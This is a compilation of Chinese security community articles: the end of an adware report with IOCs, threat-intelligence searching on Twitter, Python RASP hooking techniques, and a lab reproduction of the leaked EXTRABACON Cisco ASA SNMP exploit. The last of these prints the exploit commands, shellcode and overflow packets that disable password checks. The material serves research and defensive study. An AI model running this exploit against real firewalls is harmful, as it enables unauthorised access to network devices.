但值得注意的是，广告软件并不总是与金钱诱惑有关。一般的开发人员并不精通广告SDK，并且缺乏测试集成广告库的必要技能，因此可能无法完全了解代码库的构成。在这样的情况下，用户会面临可疑库升级到应用程序中来作为行列文件更新的一部分，而程序员们对于侵入性广告来源的查找会变得更加困难。
**IOCs**
**MD5**
[1eeda6306a2b12f78902a1bc0b7a7961
](https://opentip.kaspersky.com/1eeda6306a2b12f78902a1bc0b7a7961/
"1eeda6306a2b12f78902a1bc0b7a7961 ")– com.android.ggtoolkit_tw_xd
[134283b8efedc3d7244ba1b3a52e4a92](https://opentip.kaspersky.com/134283b8efedc3d7244ba1b3a52e4a92/
"134283b8efedc3d7244ba1b3a52e4a92") – com.xprodev.cutcam
[3aba867b8b91c17531e58a9054657e10](https://opentip.kaspersky.com/3aba867b8b91c17531e58a9054657e10/
"3aba867b8b91c17531e58a9054657e10") – com.powerd.cleaner
**С &C**
[ti.domainforlite[.]com/st/hg](https://opentip.kaspersky.com/ti.domainforlite.com/
"ti.domainforlite\[.\]com/st/hg")
[uu.domainforlite[.]com](https://opentip.kaspersky.com/uu.domainforlite.com/
"uu.domainforlite\[.\]com")
* * * | 社区文章 |
**作者：果胜**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：paper@seebug.org**
在SOC的实践中，对安全事件的跟踪以及威胁溯源是安全预警和防御的重要步骤。目前安全社区和白帽黑客建立了多种事件情报的分享渠道，其中社交媒体是非常重要的组成部分，有很多组织和个人通过各类社交APP发布恶意软件，安全事件，漏洞和利用工具的相关信息。故而目前许多安全人员都开始通过SOCMINT（社交媒体情报）来辅助威胁跟踪和预警工作。由于国内外的法律和文化不同，目前国内的微博更重于舆情、安全事件的发布，而推特更重于漏洞，恶意软件等技术信息的发布，在威胁跟踪时可以根据自身的具体需求选取，这里介绍一些twitter中进行威胁情报采集的方法。
# twitter搜索语法
同google,github等平台的搜索功能类似,twitter也提供了搜索语法来进行高精度的搜索,这里是一些标准搜索语法:
\- 搜索包含同时多个关键字的推文
keyword1 keyword2
\- 精确搜索包含某一关键字的推文
"keyword"
\- 并列搜索(包含一个或多个关键字)
keyword1 OR keyword2
\- 搜索不包含某一关键字的推文
keyword1 -keyword2 (不包含keyword2) \- 搜索某一hashtag的推文
keyword
\- 搜索提到某一用户的推文
@keyword
\- 搜索某一用户发布的推文
from:keyword
\- 搜索发给某一用户的推文
to:keyword
\- 使用指定过滤器进行搜索
keyword filter:{过滤器名称} （过滤器允许用户指定推文中是否包含视频/图片/链接等）
\- 搜索包含关键字url的推文
keyword1 url:keyword2
\- 搜索某一时刻之后发布的推文
keyword until:2020-01-01
\- 搜索某一时刻之前发布的推文
keyword until:2020-01-01
\- 搜索包含提问的推文
keyword ?
\- 搜索积极/消极的推文
keyword :) keyword :(
在推特的企业级API和高级API中，还具备更多的搜索特性，例如可以基于地理位置和目标特性进行搜索，或将多个运算符连接为表达式进行复杂的搜索，具体可参见开发者中心的文档。
# 威胁情报搜索
在推特上目前已经形成了一些安全情报分享的特定账户和频道,结合推特搜索功能的语法,可以有效的汇总相关的信息,这里做一些介绍:
## hashtag
**电子取证**
\- DFIR
\- digitalforensics
**信息安全事件**
\- InfoSec \- CyberSec
\- cybersecurity
\- Security
\- infosec
\- Cybersecurity
\- NetworkSecurity \- CyberIncident
\- NetworkSec
\- Infosec
\- CISO
\- CyberSafety
\- Cyberattacks
**安全运营**
\- SOC
\- SecOps
**恶意软件**
\- malware \- ransomware
\- MalwarePanelUpdate
\- LokiBot
\- DanaBot
\- Quasar
\- NanoCore
\- njRAT
\- Emotet
\- Cerber
\- AZORult \- DarkComet
\- Gh0st
**数据泄漏**
\- opendir
\- Login
\- Credentials
\- breach
\- databreach
\- Hacked
\- PIIData
**漏洞和补丁信息**
\- patches
\- Exploit
\- vulnerability
\- 0day
\- zeroday
\- vulnerabilities
\- CVE
**暗网**
\- DarkWeb
\- DEEPWEB
**威胁情报** \- IOC
\- phishing
\- Blueteam
\- Honeypot
\- DDoS
\- threatintel
\- threathunting
\- threatdetection
\- ThreatIntelligence
\- botnet
\- OSINT
推特支持多个hashtag的组合搜索,通过组合搜索可以用于处理一些hashtag的歧义(如#IOC)以进行对特定话题推文的定位。
## 基于关键字搜索推文
目前可以通过对已有的威胁情报文本资料建立词云来抽取搜索威胁情报所需的关键词。词云是通过对网络文本中出现频率较高的关键词进行统计产生的集合,python中的wordcloud库可以快速的完成词云的生成。
import wordcloud
txt = "文本信息"
w = wordcloud.WordCloud()
w.generate(txt)
w.to_file("wordcloud.png")
下图为一个简单的漏洞情报词云样例
此外,许多安全组织和会议也会对自身的资料生成词云并发布,可进行收集并作为关键词语料,如下:
通过对特定领域的漏洞文档和信息安全媒体报道进行词云提取,可以获取用于威胁情报收集所需的关键字,结合推特搜索语法进行组合搜索,即可通过推特采集各类威胁情报。
## 基于过滤器提取推文
受限与推特本身的文本长度限制,在推特上发布的信息中非常重要的部分为推文中包含的图片,视频,第三方链接等,对于包含此类信息的推文,可以通过搜索语法中的filter关键字实现精确搜索,如下:
1. keyword filter:media 包含媒体报导的推文
2. keyword filter:native_video 包含视频的推文
3. keyword filter:images 包含图片的推文
4. keyword filter:links 包含第三方链接的推文
对于一些与常见的威胁情报平台和网站相关的推文,可以基于url关键字进行精确搜索,如图:
获取了推文的内容后,即可利用iocextract等工具直接从推文中提取相应的IOC数据。
# 推特账户社交关系挖掘
推特也具有社交媒体的一般特征,即存在特定的用户群组联系,其中包含了关注,转发,点赞等常见操作。目前在github上存在许多twitter信息收集工具,例如tinfoleak等。此类工具通常通过web爬虫收集twitter数据,这种方法的优点在于不受api查询次数的限制,可以搜集大范围的用户群组数据,缺陷在于无法利用api的高级搜索能力精确定位特定的用户,在使用中可以根据自身实际需要适合的采集方式。利用networkX等库,可以对特定账户的社交关系进行网络建模和可视化处理,下图为对某个白帽黑客的推特关系网进行处理的结果:
在威胁情报的采集过程中,可以对特定目标递归的进行关系网的建立工作,从而建立一个重点关注的账户列表以高效的获取威胁情报,此外该方法也可以用于调查发送C&C指令的推特账户(不过由于国内的法律法规,此种用法较少)。
# 总结
本文简要叙述了目前应用在威胁情报收集中一些运用推特的方法和技术,其中的一些思路也可以应用在微博等类似的平台上,以提升安全人员在网络对抗中的情报能力。
* * * | 社区文章 |
# 再谈Python RASP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前几天看了腾讯小哥七夜发的关于python rasp的文章，想到之前也做过类似的研究，也来谈谈我知道的几种解决方案吧
## 概述
RASP（Runtime application self-protection）运行时应用自我保护，在红方中的应用一般有以下几种：
1、配合实现IAST，在SDL中使用作为精准的检测方案
2、应用层agent，用来弥补系统层agent难以还原原始攻击手法的缺陷
3、动态解密，对于变形和动态执行的恶意代码或者webshell来说，rasp是最清晰的解密
## 几种实现方案概述
1、PEP 578 — python runtime audit hook
python新版本中对标powershell模块记录等功能实现的审计方案
优点:官方提供的审计方案，非侵入方案，且实现起来极其简单
缺点:依赖版本过高(>3.8)，只能作为记录方案，不能实现阻断能力
2、USDT
感觉usdt dtrace的这些方案好像聊得比较少，文献也不太多，dtrace是一种动态追踪技术，最早是solaris上面提供，慢慢移植到了linux
osx 最近连windows上都开始部分支持了，各类主流的语言其实也都有支持做了埋点(但是需要添加编译选项)，而python在3.6版本开始添加支持
优点：也是官方的解决方案，侵入性小
缺点：对操作系统版本和python版本的依赖都比较高，而且需要重新编译，默认显示的内容也不算特别丰富
3、import hook
在load_module的过程中做的一种劫持方案
触发点不太一样，其实跟方案4差不多
4、monkey patch
这个是聊得最多的方案了，也是那个经典问题”如何让2+2=5”的一个解法
优点：能够实现的功能最为全面，可劫持可以记录，且客观支持的python版本最广
缺点：侵入式的解决方案，可能会影响业务稳定性，而且对于statement的语法(exec print等)劫持不到
## 具体实现
### PEP 578 — python runtime audit hook
在python3.8+中，sys模块新增了addaudithook方法，用于记录模块的执行过程，实现起来也极其方便，是四种方案中最简单的，效果也是最好的
import sys
def audit_hook(event,args):
print("event is " + str(event) + " args is " + str(args))
sys.addaudithook(audit_hook)
### USDT
最早看到python usdt是在bcc中（ <https://github.com/iovisor/bcc> ）
他的实现其实可以作为一套完整的主机安全agent了，在tools/pythonflow.sh中提供了显示python执行流的能力。
而单独使用systemtap的调用过程：
yum install systemtap kernel-devel systemtap-sdt-devel
然后重新编译python
./configure —prefix=/usr/local/python3 —with-dtrace
安装完成后可通过stap查看python提供的埋点
详情可参考
<https://docs.python.org/zh-cn/3.8/howto/instrumentation.html>
常用：
function__entry(str filename, str funcname, int lineno) #函数执行
import__find__load__start(str modulename) #模块加载
cat rasp.stp
#!/usr/bin/stap
probe begin {
printf("beginn");
}
probe process("/root/Python-3.9.0a6/python").mark("function__entry") {
filename = user_string($arg1);
funcname = user_string($arg2);
lineno = $arg3;
printf("filename:%s funcname:%s lineno:%d n",filename,funcname,lineno)
}
probe process("/root/Python-3.9.0a6/python").end {
exit()
}
执行效果
### import hook
**背景：**
在import的模块加载过程中有以下几个重要过程
1、在sys.modules中寻找缓存避免重复加载
2、如果找不到则调用python的import协议来寻找和加载模块，包含
a) 查找器
使用sys.meta_path中的finder来寻找对应模块的spec
b) 加载器
使用上面找到的spec生成module object
实现了查找器和加载器接口的就是导入器，将其插入到sys.modules的最前面就可以劫持导入的过程
另外在site-packages目录下可创建sitecustomize.py或usercustomize.py，属于python自启动脚本
**hook:**
以劫持requests.get 为例，在site-packages目录下创建sitecustomize.py
import sys
import importlib
import functools
class MetaPathFinder:
def find_module(self, fullname, path=None):
hook_modules = ['requests']
if fullname in hook_modules:
return MetaPathLoader()
class MetaPathLoader:
def load_module(self, fullname):
if fullname in sys.modules:
return sys.modules[fullname]
finder = sys.meta_path.pop(0)
module = importlib.import_module(fullname)
hook_module(fullname, module)
sys.meta_path.insert(0, finder)
return module
def my_waper(func):
@functools.wraps(func)
def get_args(*args,**kwargs):
print("nFCN HOOK: %s %s (args=%s,kwargs=%s)" % (str(func),__name__,args,kwargs))
return func(*args,**kwargs)
return get_args
def hook_module(fullname,module):
if fullname == 'requests':
module.get = my_waper(module.get)
frame = sys._getframe(2)
code = frame.f_code
file_path = code.co_filename
sys.meta_path.insert(0, MetaPathFinder())
### monkey patch
**技术背景**
python需要hook的函数类型分为以下几种
1、exec
表面是函数，实际是statement（python2），在一切皆对象的python里面很罕见的非对象的东西了，所以在python3中就被改过去了。。
暂时还没看到有hook的解决方案，但问题不大，对于动态解密来说甚至可以直接正则替换
2、bound/unbound method
区别就是是否绑定方法对象，在hook的写法方面会有一些区别
3、builtin method
builtin method是_builtins_模块下面的函数，从函数地址上就能看的出来
>>> id(__builtins__.eval)
140568811177024
>>> id(eval)
140568811177024
>>>
但是直接替换_builtins_下方法时，在另一个namespace中不会生效，之前一直以为是有什么特殊的安全机制，后来发现_builtins_是__builtin的引用，所以直接替换是不会生效的，那直接修改__builtin就行了
4、builtin 模块中的方法
内置模块中的方法不支持修改
>>> str.decode = mydecode
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: can't set attributes of built-in/extension type 'str'
>>>
这个的解决方案最早应该是来自于”如何在python中实现让2+2=5”这个经典问题的一个解，git地址
<https://github.com/fdintino/python-doublescript>
具体涉及到的python c api的知识点简单说下
1、PyObject是cpython中的对象基石，其中包含obrefcnt的引用计数器和ob_type，ob_type则指向PyTypeObject
在ctypes中如果需要使用Structures，需要显示声明_fields，对于PyObject来说fields就是obrefcnt和obtype
2、from_address(id(target)) 直接使用地址作为线索，把python下的变量转成了c下的变量了
3、ctypes.pythonapi.PyDict_SetItem
将第二个变量作为key，第三个变量作为value，插入字典第一个变量，作为原始函数的保留，插入到原来对象的__dic中，后续方便保持原有逻辑的引用
Py_ssize_t = hasattr(ctypes.pythonapi, 'Py_InitModule4_64') and ctypes.c_int64 or ctypes.c_int
class PyObject(ctypes.Structure):
pass
PyObject._fields_ = [('ob_refcnt',Py_ssize_t),('ob_type',ctypes.POINTER(PyObject))]
class DictProxy(PyObject):
_fields_ = [('dict',ctypes.POINTER(PyObject))]
def patch_builtin(klass):
name = klass.__name__
target = klass.__dict__
proxy_dict = DictProxy.from_address(id(target))
namespace = {}
ctypes.pythonapi.PyDict_SetItem(
ctypes.py_object(namespace),
ctypes.py_object(name),
proxy_dict.dict,
)
return namespace[name]
def patch_innerfunction(klass,attr,value):
dikt = patch_builtin(klass)
old_value = dikt.get(attr,None)
old_name = '_c_%s' % attr
if old_value:
dikt[old_name] = old_value
if old_value:
dikt[attr] = value
try:
dikt[attr].__name__ = old_value.__name__
except:
pass
try:
dikt[attr].__qualname__ = old_value.__qualname__
except:
pass
else:
dikt[attr] = value
## 后记
从现状来看高版本python和linux内核的使用率都很低，方案一、二都难以作为大规模rasp部署的方案，但是方案一对于快速解密python脚本来说是最好的方案，方案二对于想以bcc类方案构建主机agent来说整体性很好，方案四作为最经常被讨论的方案整体的通用性还是最好的 | 社区文章 |
本文来自 知道创宇404实验室 [@Hcamael](http://0x48.pw/)
这几天在研究方程式泄露的EXTRABACON（EXBA）PoC, 网上没找到能成功的远程, 所以准备自己本地搭环境,
然后看到了这篇文章<http://www.freebuf.com/vuls/112589.html>
这篇文章是在方程式信息泄露后看过的对我最有帮助的文章了, 不过尴尬的是, 文章中复现环境是Windows下使用VM， 可是我的环境却是Linux+VBox
表示我的Windows都是用来打游戏的, 啥工具都没有, 仔细看了下文章, 准备去搜搜Linux+VBox的解决方案
首先是虚拟机镜像文件这些东西: <http://l.0x48.pw/blackhat/ASA-8.4.zip>
解压出来， 里面有个`ASA-8.4.ovf`, 可直接用VBox的import applicace导入虚拟机
讲道理, 应该导入后就可以使用了, 但是没人跟你讲道理, 所以接下来要做两件事, 或者可以说是一件事 —— 配网络, 配网络就需要使用Serial口连进去.
### 连接Serial口
如下图所示:
基本默认就好, 重要的是`Path/Address:
/tmp/gns3_vbox/5d5928d1-3cb9-46c6-85cb-b7e1121f188c`
这个地址自己填一个, 要写到VBox可写目录, 所以选择了/tmp
然后在Ubuntu下连接Serial口的工具我选择了`minicom`:
$ sudo apt install minicom
$ sudo vim /etc/minicom/minirc.dfl
pu port unix#/tmp/gns3_vbox/5d5928d1-3cb9-46c6-85cb-b7e1121f188c
#后面跟的路径就是上面VBox的那个路径
然后就是启动虚拟机了, 不过在启动之前还有几个问题
如图:
更大的那块硬盘要作为Master, 要设置成启动盘, 虚拟机导入后是500kb的那块是启动盘, 所以启动不起来
然后是网络, 自己测试就开一块网卡就够了, 然后我使用only-host, 如图:
然后可以开机了
开机后选择`ASA 8.42` 启动, 然后会停在`Booting the kernel`, 然后别等了,
你等再久也是这页面(我最开始摸索的时候傻傻的等了半小时), 现在就可以使用`minicom`去连接ASA的Serial口了
$ sudo minicom
然后等会就能进入防火墙的终端了
ciscoasa>en
Password:
ciscoasa#show run
......
interface GigabitEthernet0
shutdown
no nameif
no security-level
no ip address
!
......
查看配置会发现VBox的host-only配的DHCP对这防火墙并没有用, 所以只能配静态ip了
因为上面VBox host-only的网卡我配的是`192.168.56.1`, 所以防火墙我配个`192.168.56.150`
ciscoasa# conf ter
ciscoasa(config)#
***************************** NOTICE *****************************
Help to improve the ASA platform by enabling anonymous reporting,
which allows Cisco to securely receive minimal error and health
information from the device. To learn more about this feature,
please visit: http://www.cisco.com/go/smartcall
Would you like to enable anonymous error reporting to help improve
the product? [Y]es, [N]o, [A]sk later: y
Enabling anonymous reporting.
Adding "call-home reporting anonymous" to running configuration...
Creating trustpoint "_SmartCallHome_ServerCA" and installing certificate...
Trustpoint '_SmartCallHome_ServerCA' is a subordinate CA and holds a non self-s.
Trustpoint CA certificate accepted.
Please remember to save your configuration.
ciscoasa(config)# int G0
ciscoasa(config-if)# ip address 192.168.56.150 255.255.255.0
ciscoasa(config-if)# nameif inside
ciscoasa(config-if)# no shut
ciscoasa(config-if)# exit
ciscoasa(config)# exit
ciscoasa# show run
......
interface GigabitEthernet0
nameif inside
security-level 100
ip address 192.168.56.150 255.255.255.0
......
配置ip成功, 然后试着ping
ciscoasa# ping 192.168.56.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.56.1, timeout is 2 seconds:
?????
Success rate is 0 percent (0/5)
是GG的, 需要重启下
ciscoasa# copy running-config startup-config
Source filename [running-config]?
Cryptochecksum: 7ab821ac df1697e5 257673c1 49832288
5670 bytes copied in 0.20 secs
然后可以断电重启了(或者有没有像Linux上/etc/init.d/networking restart的程序? 并不懂, 所以采取了简单明了的硬重启)
然后ping本机查看网络是否通畅:
ciscoasa> ping 192.168.56.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.56.1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms
接下来就是开服务了, 根据漏洞描述, 防火墙需要开启ssh/telnet 和 snmp服务, 通过snmp的漏洞让ssh/telnet不需要密码即可登陆,
默认情况下, 这些服务器都是关闭的, 需要我们手动开始
# 开启telnet服务, 允许任何主机访问
ciscoasa(config)# telnet 0.0.0.0 0.0.0.0 inside
# 开始snmp服务, 允许192.168.56.1主机访问
ciscoasa(config)# snmp-server host inside 192.168.56.1 community public
检查是否成功开启
$ nmap 192.168.56.150 -p23 -Pn
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-01 14:34 CST
Nmap scan report for 192.168.56.150
Host is up (0.00024s latency).
PORT STATE SERVICE
23/tcp open telnet
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
$ sudo nmap 192.168.56.150 -p161 -sU
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-01 14:36 CST
Nmap scan report for 192.168.56.150
Host is up (0.00020s latency).
PORT STATE SERVICE
161/udp open snmp
MAC Address: 08:00:27:89:2B:96 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
然后可以使用方程式泄露的PoC打打看:
$ python extrabacon_1.1.0.1.py info -t 192.168.56.150 -c public
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /EXPLOITS/EXBA/concernedparent
[+] Executing: extrabacon_1.1.0.1.py info -t 192.168.56.150 -c public
[+] probing target via snmp
[+] Connecting to 192.168.56.150:161
****************************************
[+] response:
###[ SNMP ]###
version = <ASN1_INTEGER[1L]>
community = <ASN1_STRING['public']>
\PDU \
|###[ SNMPresponse ]###
| id = <ASN1_INTEGER[0L]>
| error = <ASN1_INTEGER[0L]>
| error_index= <ASN1_INTEGER[0L]>
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
| | value = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.3.0']>
| | value = <ASN1_TIME_TICKS[93000L]>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.5.0']>
| | value = <ASN1_STRING['ciscoasa']>
[+] firewall uptime is 93000 time ticks, or 0:15:30
[+] firewall name is ciscoasa
[+] target is running asa842, which is supported
Data stored in key file : asa842
Data stored in self.vinfo: ASA842
To check the key file to see if it really contains what we're claiming:
# cat /EXPLOITS/EXBA/keys/dc9d0q.key
To disable password checking on target:
# extrabacon_1.1.0.1.py exec -k dc9d0q -t 192.168.56.150 -c public --mode pass-disable
To enable password checking on target:
# extrabacon_1.1.0.1.py exec -k dc9d0q -t 192.168.56.150 -c public --mode pass-enable
第一步是主机信息探测, 接下来就是攻击了, 他的作用是可以无需密码使用telnet/ssh 连接防火墙:
$ telnet 192.168.56.150
Trying 192.168.56.150...
Connected to 192.168.56.150.
Escape character is '^]'.
User Access Verification
Password:
Password:
Password: Connection closed by foreign host.
先看没攻击前, 是没法连上的
$ python extrabacon_1.1.0.1.py exec -k dc9d0q -t 192.168.56.150 -c public --mode pass-disable
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /EXPLOITS/EXBA/concernedparent
[+] Executing: extrabacon_1.1.0.1.py exec -k dc9d0q -t 192.168.56.150 -c public --mode pass-disable
Data stored in self.vinfo: ASA842
[+] generating exploit for exec mode pass-disable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa842
[+] building payload for mode pass-disable
appended PMCHECK_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3
appended AAAADMINAUTH_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3
[+] random SNMP request-id 527684062
[+] fixing offset to payload 50
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.50.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144
payload (133): bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c3
EXBA msg (370): 3082016e02010104067075626c6963a582015f02041f73d1de0201000201013082014f30819106072b060102010101048185bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000432817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500
[+] Connecting to 192.168.56.150:161
[+] packet 1 of 1
[+] 0000 30 82 01 6E 02 01 01 04 06 70 75 62 6C 69 63 A5 0..n.....public.
[+] 0010 82 01 5F 02 04 1F 73 D1 DE 02 01 00 02 01 01 30 .._...s........0
[+] 0020 82 01 4F 30 81 91 06 07 2B 06 01 02 01 01 01 04 ..O0....+.......
[+] 0030 81 85 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 ............1...
[+] 0040 25 F6 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A2 A5 A5 %..1......1.....
[+] 0050 A5 31 FA CD 80 EB 14 BF F0 8F 53 09 31 C9 B1 04 .1........S.1...
[+] 0060 FC F3 A4 E9 0C 00 00 00 5E EB EC E8 F8 FF FF FF ........^.......
[+] 0070 31 C0 40 C3 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 1.@...........1.
[+] 0080 BB A5 B5 AD AD 31 FB B9 A5 B5 A5 A5 31 F9 BA A2 .....1......1...
[+] 0090 A5 A5 A5 31 FA CD 80 EB 14 BF E0 13 08 08 31 C9 ...1..........1.
[+] 00a0 B1 04 FC F3 A4 E9 0C 00 00 00 5E EB EC E8 F8 FF ..........^.....
[+] 00b0 FF FF 31 C0 40 C3 C3 30 81 B8 06 81 B3 2B 06 01 ..1.@..0.....+..
[+] 00c0 04 01 09 09 83 6B 01 03 03 01 01 05 09 5F 81 38 .....k......._.8
[+] 00d0 43 7B 7A 81 2D 35 81 25 81 25 81 25 81 25 81 03 C{z.-5.%.%.%.%..
[+] 00e0 81 6C 04 81 09 04 24 81 09 81 65 81 03 81 45 48 .l....$...e...EH
[+] 00f0 31 81 40 31 81 5B 81 33 10 31 81 76 81 3F 81 2E 1.@1.[.3.1.v.?..
[+] 0100 81 2A 81 2A 81 2A 81 01 81 77 81 25 81 25 81 25 .*.*.*...w.%.%.%
[+] 0110 81 25 60 81 0B 81 04 24 81 60 01 00 00 04 32 81 .%`....$.`....2.
[+] 0120 7F 81 50 61 81 43 81 10 81 10 81 10 81 10 81 10 ..Pa.C..........
[+] 0130 81 10 81 10 81 10 81 10 81 10 81 10 81 10 81 10 ................
[+] 0140 81 10 81 10 81 10 81 10 81 10 81 10 81 10 81 10 ................
[+] 0150 81 10 81 10 81 10 81 10 81 10 81 10 81 10 19 47 ...............G
[+] 0160 14 09 81 0B 7C 24 14 81 0B 07 81 7F 81 60 81 10 ....|$.......`..
[+] 0170 05 00 ..
****************************************
[+] response:
###[ SNMP ]###
version = <ASN1_INTEGER[1L]>
community = <ASN1_STRING['public']>
\PDU \
|###[ SNMPresponse ]###
| id = <ASN1_INTEGER[527684062L]>
| error = <ASN1_INTEGER[0L]>
| error_index= <ASN1_INTEGER[0L]>
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
| | value = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.112.117.98.108.105.99.46.49.57.50.46.49.54.56.46.53.54.46.49.46.50']>
| | value = <ASN1_STRING['']>
[+] received SNMP id 527684062, matches random id sent, likely success
[+] clean return detected
然后使用telnet登陆看看
$ telnet 192.168.56.150
Trying 192.168.56.150...
Connected to 192.168.56.150.
Escape character is '^]'.
User Access Verification
Password:
Type help or '?' for a list of available commands.
ciscoasa> en
Password:
ciscoasa# conf ter
ciscoasa(config)#
攻击成功
从上面环境搭建的过程我们来简单的分析下这漏洞的情况
1. 必须开启snmp服务和ssh/telnet, 而防火墙默认是关闭的
2. snmp服务开启是使用白名单, 而且只能指定单个ip而不能指定整个网段
ciscoasa(config)# snmp-server host inside 0.0.0.0 community public
ERROR: Not a valid host address - 0.0.0.0
ciscoasa(config)# snmp-server host inside 192.168.56.0 community public
$ sudo nmap 192.168.56.150 -p161 -sU
Starting Nmap 7.01 ( https://nmap.org ) at 2016-09-01 15:07 CST
Nmap scan report for 192.168.56.150
Host is up (0.00018s latency).
PORT STATE SERVICE
161/udp open|filtered snmp
MAC Address: 08:00:27:89:2B:96 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds
ciscoasa(config)# snmp-server host inside 192.168.56.0 255.255.255.0 community$
snmp-server host inside 192.168.56.0 255.255.255.0 community public
^
ERROR: % Invalid input detected at '^' marker.
ciscoasa(config)# snmp-server host inside 192.168.56.0/24 community public
^
ERROR: % Invalid input detected at '^' marker.
可以看出, 因为不允许设置子网掩码, 所以根本没法输入网络地址, 只能输入单个ip
1. snmp的community认证问题, public为我们设置的认证字符串, 比如我们改一改
ciscoasa(config)# snmp-server host inside 192.168.56.1 community public-test
$ python extrabacon_1.1.0.1.py info -t 192.168.56.150 -c public
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /EXPLOITS/EXBA/concernedparent
[+] Executing: extrabacon_1.1.0.1.py info -t 192.168.56.150 -c public
[+] probing target via snmp
[+] Connecting to 192.168.56.150:161
****************************************
Traceback (most recent call last):
$ python extrabacon_1.1.0.1.py info -t 192.168.56.150 -c public-test
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /EXPLOITS/EXBA/concernedparent
[+] Executing: extrabacon_1.1.0.1.py info -t 192.168.56.150 -c public-test
[+] probing target via snmp
[+] Connecting to 192.168.56.150:161
****************************************
[+] response:
###[ SNMP ]###
version = <ASN1_INTEGER[1L]>
community = <ASN1_STRING['public-test']>
\PDU \
|###[ SNMPresponse ]###
| id = <ASN1_INTEGER[0L]>
| error = <ASN1_INTEGER[0L]>
| error_index= <ASN1_INTEGER[0L]>
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
| | value = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.3.0']>
| | value = <ASN1_TIME_TICKS[150100L]>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.5.0']>
| | value = <ASN1_STRING['ciscoasa']>
[+] firewall uptime is 150100 time ticks, or 0:25:01
[+] firewall name is ciscoasa
[+] target is running asa842, which is supported
Data stored in key file : asa842
Data stored in self.vinfo: ASA842
To check the key file to see if it really contains what we're claiming:
# cat /EXPLOITS/EXBA/keys/OpezI1.key
To disable password checking on target:
# extrabacon_1.1.0.1.py exec -k OpezI1 -t 192.168.56.150 -c public-test --mode pass-disable
To enable password checking on target:
在密码不对的情况下snmp根本连不上
上述三种条件, 导致了该漏洞是非常鸡肋的RCE, 首先你需要能访问SNMP, 访问SNMP需要你在防火墙的白名单中,
然后还要知道Community认证的密码.
* * * | 社区文章 |
## 0x00 认识IAST
笔者初识IAST，未曾深入接触，源于兴趣开始学习，可能有理解不到位的地方，请多多包涵指导。
IAST全称Interactive Application Security Testing 交互式应用程序安全测试，它在程序运行过程中使用
**插桩技术监控和收集信息**
